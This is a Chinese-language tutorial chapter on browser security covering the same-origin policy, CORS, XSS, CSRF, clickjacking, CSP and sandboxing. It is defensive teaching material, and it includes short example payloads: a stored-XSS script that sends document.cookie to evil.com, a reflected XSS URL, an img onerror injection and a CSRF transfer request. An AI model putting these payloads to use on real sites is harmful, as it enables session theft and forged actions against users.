跳到主要内容
预计阅读 24 分钟

浏览器安全 — 在开放的 Web 上建一座坚不可摧的城堡

浏览器每天替你打开成百上千个网页,其中不乏恶意站点。它如何保证一个钓鱼页面不能偷走你邮箱里的邮件?一段注入的脚本不能转走你银行账户里的钱?答案藏在浏览器精心构建的多层安全体系里——从同源策略到沙箱隔离,从 CSP 到站点隔离,每一层都是用无数漏洞的教训换来的防线。

📋 开篇自测:你已经知道多少?

  1. 同源策略限制了哪些行为?为什么 <img><script> 标签不受同源限制?
  2. XSS 和 CSRF 的本质区别是什么?为什么说 XSS 是”注入代码”,CSRF 是”冒用身份”?
  3. 浏览器沙箱是什么?为什么渲染进程即使被攻陷,也无法直接读写用户磁盘文件?

一、同源策略:Web 安全的地基

1.1 什么是”源”

一个”源”(Origin)由三部分决定:协议 + 主机 + 端口。三者完全相同才算同源。

同源判断 (基准: https://app.example.com:443/page)

URL                                    同源?   原因
───────────────────────────────────────────────────────
https://app.example.com/other          ✅      路径不同不影响
http://app.example.com/page            ❌      协议不同
https://api.example.com/page           ❌      主机不同
https://app.example.com:8080/page      ❌      端口不同

1.2 同源策略限制了什么

同源策略的三道防线

1. DOM 访问限制 → 跨源 iframe 内容不可读取
2. 数据存储隔离 → Cookie/LocalStorage/IndexedDB 按源隔离
3. 网络请求限制 → Fetch/XHR 跨源请求的响应数据被拦截

但出于 Web 生态的需要,<script><img><link><form> 等标签允许跨源加载。关键在于:可以嵌入/发送,但不能读取响应内容

1.3 CORS:安全的跨源之门

CORS 预检请求流程

浏览器                              服务器
  │── OPTIONS /api/data ──────────→│  ← 预检
  │   Origin: https://app.com      │
  │←─ 204 ─────────────────────────│
  │   Access-Control-Allow-Origin: │
  │   https://app.com              │
  │── PUT /api/data ──────────────→│  ← 真正请求
  │←─ 200 OK ──────────────────────│

CORS 的关键响应头一览:

响应头作用示例值
Access-Control-Allow-Origin允许哪个源访问https://app.com*
Access-Control-Allow-Methods允许哪些 HTTP 方法GET, POST, PUT
Access-Control-Allow-Headers允许哪些请求头Content-Type, Authorization
Access-Control-Max-Age预检结果缓存时间(秒)86400
Access-Control-Allow-Credentials是否允许携带 Cookietrue

注意:并非所有跨域请求都需要预检。满足以下全部条件的简单请求直接发送,不触发 OPTIONS 预检:方法为 GET/HEAD/POST,Content-Type 仅为 text/plainmultipart/form-dataapplication/x-www-form-urlencoded,且请求头仅包含安全列表中的头(如 AcceptAccept-LanguageContent-LanguageContent-Type 等)。

核心原则:CORS 是服务端表达”我信任这个源”的机制。浏览器只是执行者——它发现服务端没说”允许”,就不让 JS 拿到数据。

🤔 想一想 为什么浏览器允许 <img> 跨源加载但不允许 fetch 跨源读取?如果禁止一切跨源行为,Web 还能正常运转吗?


二、XSS:注入代码的攻击

2.1 三种 XSS 类型

类型注入位置触发方式危险程度
存储型数据库用户访问页面即触发最高
反射型URL 参数诱导点击恶意链接中等
DOM 型前端 JS前端将不可信数据写入 DOM中等
// 存储型 XSS: 攻击者在评论框提交恶意脚本
// <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// 所有加载评论的用户都会执行这段代码——影响范围最大

// 反射型 XSS: 恶意代码通过 URL 参数注入
// 恶意链接: https://shop.com/search?q=<script>stealCookies()</script>
// 服务端直接把搜索词拼入 HTML:
// <p>搜索结果: <script>stealCookies()</script></p>

// DOM 型 XSS: 前端直接把 URL 参数写入 DOM
const keyword = location.hash.slice(1);
document.getElementById('result').innerHTML = keyword;
// 攻击者: https://site.com/#<img onerror=alert(1) src=x>

XSS 一旦成功,攻击者能做什么?

XSS 攻击者的能力

✅ 读取页面上所有内容 (包括表单中的密码)
✅ 窃取 Cookie (除非设置了 HttpOnly)
✅ 发送任意 HTTP 请求 (以用户身份)
✅ 修改页面内容 (制造钓鱼界面)
✅ 监听用户键盘输入 (记录密码)
✅ 重定向到恶意网站

2.2 XSS 防御体系

XSS 防御纵深

第1层: 输出编码 (根据上下文转义 < > & " ')
第2层: CSP 策略 (禁止内联脚本,限制脚本来源)
第3层: HttpOnly Cookie (即使XSS成功也无法窃取Cookie)
第4层: 现代框架的自动转义 (React/Vue 默认安全)
// React 默认安全——自动转义
function Comment({ text }) {
  return <p>{text}</p>;
  // 如果 text = '<script>alert(1)</script>'
  // 渲染为: <p>&lt;script&gt;alert(1)&lt;/script&gt;</p>
  // 脚本不会执行
}

// 除非你故意绕过
<p dangerouslySetInnerHTML={{ __html: html }} />
// 名字就在警告你: 这很危险!

🤔 想一想 Vue 的 v-html 指令和 React 的 dangerouslySetInnerHTML 都能直接插入 HTML。为什么框架不直接禁止这些 API?在什么场景下它们是必须的?


三、CSRF:冒用你的身份

3.1 攻击原理

CSRF 利用浏览器自动携带 Cookie 的机制,在用户不知情时发起请求。

CSRF 攻击流程

1. 用户登录 bank.com,浏览器存储 Session Cookie
2. 用户访问 evil.com
3. evil.com 包含: <img src="https://bank.com/transfer?to=hacker&amount=10000">
4. 浏览器自动携带 bank.com 的 Cookie 发起请求
5. 服务器以为是合法操作 → 转账成功

3.2 XSS 与 CSRF 的本质区别

很多人容易混淆 XSS 和 CSRF,用一张图理清:

XSS vs CSRF

XSS: 在你的网站上执行攻击者的代码
  攻击者 → 注入恶意脚本 → 你的网站 → 用户执行了恶意代码
  核心: 代码注入

CSRF: 在攻击者的网站上,以你的身份发请求
  用户 → 访问恶意网站 → 恶意网站代替用户 → 向你的网站发请求
  核心: 身份冒用

一句话: XSS 偷你的"能力",CSRF 借你的"身份"。

3.3 CSRF 防御

方案原理备注
CSRF Token表单携带随机 Token,服务端校验最经典
SameSite Cookie跨站请求不携带 Cookie现代浏览器默认 Lax
Referer 检查校验请求来源域名简单但不够可靠
SameSite Cookie 的三种模式

Strict → 跨站请求一律不携带 (安全但体验差)
Lax    → GET 导航请求携带,POST 等不携带 (默认值,平衡)
None   → 始终携带 (必须配合 Secure,用于第三方场景)

四、点击劫持与 CSP

4.1 点击劫持

攻击者用透明 iframe 覆盖在诱饵页面上方,用户以为点了”领奖”,实际点了”确认转账”。

用户看到的:          实际页面结构:
┌──────────────┐    ┌──────────────────────┐
│ 🎁 恭喜中奖! │    │ evil.com              │
│ [点击领取]    │    │  ┌──────────────┐     │
└──────────────┘    │  │ bank.com     │     │
                    │  │ (opacity: 0) │     │
                    │  │ [确认转账]    │← 真 │
                    │  └──────────────┘     │
                    │  [领取大奖]      ← 假  │
                    └──────────────────────┘

防御:设置 X-Frame-Options: DENY 或 CSP frame-ancestors 'self'

4.2 CSP:白名单安全策略

CSP 告诉浏览器:只有来自白名单的资源可以加载和执行。

CSP 如何阻止 XSS

Content-Security-Policy: script-src 'self' https://cdn.example.com

攻击者注入内联脚本 → 浏览器: 不在白名单 ❌ 拒绝执行
攻击者引入外部脚本 → 浏览器: evil.com 不在白名单 ❌ 拒绝加载

CSP 常用指令速查:

Content-Security-Policy:
  default-src 'self';                    ← 默认只允许同源
  script-src 'self' https://cdn.com;     ← JS 来源白名单
  style-src 'self' 'unsafe-inline';      ← CSS (不推荐 unsafe-inline)
  img-src *;                             ← 图片允许任何来源
  connect-src 'self' https://api.com;    ← AJAX/Fetch 白名单
  frame-ancestors 'self';                ← 防点击劫持
  report-uri /csp-violation-report;      ← 违规上报

渐进式部署:先用 Content-Security-Policy-Report-Only 仅报告不拦截,收集违规日志,调整白名单,再切换为强制模式。使用 noncehash 替代 unsafe-inline 是最佳实践。


五、沙箱与站点隔离

5.1 沙箱:进程级安全隔离

浏览器沙箱把渲染进程关在”笼子”里——即使被攻陷也无法访问系统资源。

浏览器沙箱架构

┌────────────────────────────────────────────┐
│ 浏览器主进程 ← 拥有完整系统权限              │
│   文件读写、网络访问、进程管理               │
└────────┬───────────────────────────────────┘
         │ IPC (进程间通信)
┌────────┴───────────────────────────────────┐
│              沙箱边界                        │
│  ┌──────────┐ ┌──────────┐ ┌──────────┐   │
│  │渲染进程 1 │ │渲染进程 2 │ │渲染进程 3 │   │
│  │ ❌ 文件   │ │ ❌ 文件   │ │ ❌ 文件   │   │
│  │ ❌ 网络   │ │ ❌ 网络   │ │ ❌ 网络   │   │
│  └──────────┘ └──────────┘ └──────────┘   │
│  所有操作必须通过 IPC 请求主进程代为执行      │
└────────────────────────────────────────────┘

5.2 站点隔离:防御 Spectre

2018 年披露的 Spectre 漏洞可以通过旁路攻击读取同进程的其他内存区域。站点隔离的设计早于 Spectre(Chrome 团队从 2012 年就开始开发),但 Spectre 的出现加速了它的全面部署。站点隔离的对策是:每个站点使用独立渲染进程,操作系统级别的进程隔离让 Spectre 无法跨进程读取。

注意:“站点”(协议 + eTLD+1) 比”源”(协议 + 主机 + 端口) 粒度更粗。app.example.comapi.example.com 是不同源但同站点。

5.3 跨源隔离三件套

站点隔离配合三个 HTTP 响应头进一步加固:

CORP / COEP / COOP

Cross-Origin-Resource-Policy (CORP):
  → 控制资源能被谁加载 (same-origin / same-site / cross-origin)

Cross-Origin-Embedder-Policy (COEP):
  → 要求所有子资源都设置了 CORP (require-corp)

Cross-Origin-Opener-Policy (COOP):
  → 切断与跨源窗口的引用关系 (same-origin)

三者协同启用后: self.crossOriginIsolated === true
  → 可以使用 SharedArrayBuffer 和高精度 performance.now()

🤔 想一想 站点隔离极大增加了内存消耗——每个站点一个进程。Chrome 如何在安全性和内存占用之间做权衡?低内存设备上是否有不同的策略?


六、安全策略速查

浏览器安全纵深防御

第7层: 用户层       → 安全警告、钓鱼检测、证书验证
第6层: 应用层       → CSP、CORS、Cookie策略、SRI
第5层: 隔离层       → 同源策略、站点隔离、CORP/COEP/COOP
第4层: 沙箱层       → 渲染进程沙箱、GPU进程沙箱
第3层: 进程层       → 多进程架构、IPC权限控制
第2层: 操作系统层   → ASLR、DEP、seccomp-BPF
第1层: 硬件层       → CPU安全补丁 (Spectre/Meltdown)

每一层失守,下一层接住。
威胁防御方案关键配置
XSSCSP + 输出编码 + HttpOnlyscript-src 'self'
CSRFSameSite Cookie + TokenSameSite=Lax
点击劫持X-Frame-Options + CSPframe-ancestors 'self'
中间人攻击HTTPS + HSTSStrict-Transport-Security
子资源篡改SRIintegrity="sha256-..."

七、实战:安全配置审计

7.1 实验一:检查安全响应头

// 在控制台检查当前页面的安全头
async function audit() {
  const res = await fetch(location.href);
  const checks = [
    'content-security-policy', 'x-frame-options',
    'strict-transport-security', 'x-content-type-options'
  ];
  checks.forEach(h => {
    const v = res.headers.get(h);
    console.log(v ? `✅ ${h}: ${v}` : `❌ ${h}: 未设置`);
  });
}
audit();

7.2 实验二:体验 CSP 拦截

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<script>console.log('这段内联脚本会被 CSP 拦截!')</script>
<!-- 打开控制台查看 CSP 违规报告 -->

八、本章知识脉络总结

浏览器安全知识地图

浏览器安全
├── 基础策略
│   ├── 同源策略: 协议+主机+端口
│   ├── CORS: 跨源协商机制
│   └── Cookie: SameSite/Secure/HttpOnly

├── 常见攻击
│   ├── XSS: 注入并执行恶意脚本
│   ├── CSRF: 利用Cookie冒用身份
│   └── 点击劫持: 透明iframe误操作

├── 防御机制
│   ├── CSP: 白名单限制资源来源
│   ├── SRI: 子资源完整性校验
│   └── HSTS: 强制HTTPS

└── 架构级安全
    ├── 沙箱: 限制渲染进程权限
    ├── 站点隔离: 每站点独立进程
    └── CORP/COEP/COOP: 跨源隔离

📝 结尾自测:检验你的学习成果

  1. 同源策略中”源”由哪三部分组成?https://a.example.comhttps://b.example.com 是同源还是跨源?
  2. XSS 的三种类型及各自攻击路径是什么?为什么存储型最危险?
  3. CSRF 攻击利用了浏览器的什么机制?SameSite Cookie 如何防御?
  4. CSP 的核心思想是什么?推荐的渐进式部署步骤是怎样的?
  5. 浏览器沙箱如何确保渲染进程被攻陷后不能危害系统?

下一章预告:浏览器不只是一个”网页查看器”——WebAssembly 让它能以接近原生速度运行 C/C++/Rust 代码,Service Worker 让网页拥有了离线能力,WebGPU 让浏览器能直接调度 GPU 进行并行计算。下一章,我们将探索这些前沿技术如何重新定义浏览器的边界。

购买课程解锁全部内容

前端进阶第一课:11 章掌握浏览器核心

¥29.90